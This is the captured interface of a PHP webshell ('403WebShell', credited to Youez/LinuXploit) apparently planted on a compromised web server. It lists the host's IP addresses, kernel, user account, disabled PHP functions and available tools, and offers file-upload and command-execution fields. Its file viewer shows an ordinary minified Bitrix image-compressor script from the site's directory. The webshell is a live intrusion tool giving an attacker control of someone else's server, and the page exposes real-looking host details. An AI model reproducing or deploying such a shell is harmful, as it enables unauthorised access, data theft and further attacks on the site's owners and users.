%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.91.104
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/compressor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/compressor/compressor.min.js
(function(){"use strict";BX.namespace("BX.Landing");var i={quality:.8};var t=BX.Landing.Utils.urlToBlob;var n=BX.Landing.Utils.fileSize;var e=BX.Landing.Utils.isPlainObject;var o=BX.Landing.Utils.isNumber;BX.Landing.ImageCompressor=function(t,n){this.file=t;this.options=Object.assign({},i,s(n)||{});if(this.options.retina){void(o(this.options.width)&&(this.options.width*=2));void(o(this.options.height)&&(this.options.height*=2));void(o(this.options.maxWidth)&&(this.options.maxWidth*=2));void(o(this.options.maxHeight)&&(this.options.maxHeight*=2));void(o(this.options.minWidth)&&(this.options.minWidth*=2));void(o(this.options.minHeight)&&(this.options.minHeight*=2))}};function s(i){i=e(i)?i:{};return Object.keys(i).reduce(function(t,n){return typeof i[n]!=="undefined"&&(t[n]=i[n]),t},{})}function r(i){var t=n(i.before);var e=n(i.after);var o=i.quality;var s=i.retina?"@2x":"";console.info("Image compressed",t,"�>",e,"(quality "+o*100+"%)",s)}BX.Landing.ImageCompressor.compress=function(i,n){return t(i).then(function(i){var t=new BX.Landing.ImageCompressor(i,n);return t.compress().then(function(n){r({before:i.size,after:n.size,quality:t.options.quality,retina:t.options.retina});return n})})};BX.Landing.ImageCompressor.test=function(i,e){var o={before:0,after:0,printable:{before:"0 B",after:"0 B"}};return t(i).then(function(i){return new BX.Landing.ImageCompressor(i,e).compress().then(function(t){o.before=i.size;o.after=t.size;o.printable.before=n(i.size);o.printable.after=n(t.size);return o})})};BX.Landing.ImageCompressor.prototype={compress:function(){var i=this.file;var t=this.options;return new Promise(function(n,e){void new Compressor(i,Object.assign({},t,{success:n,error:e}))})}}})();
//# sourceMappingURL=compressor.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit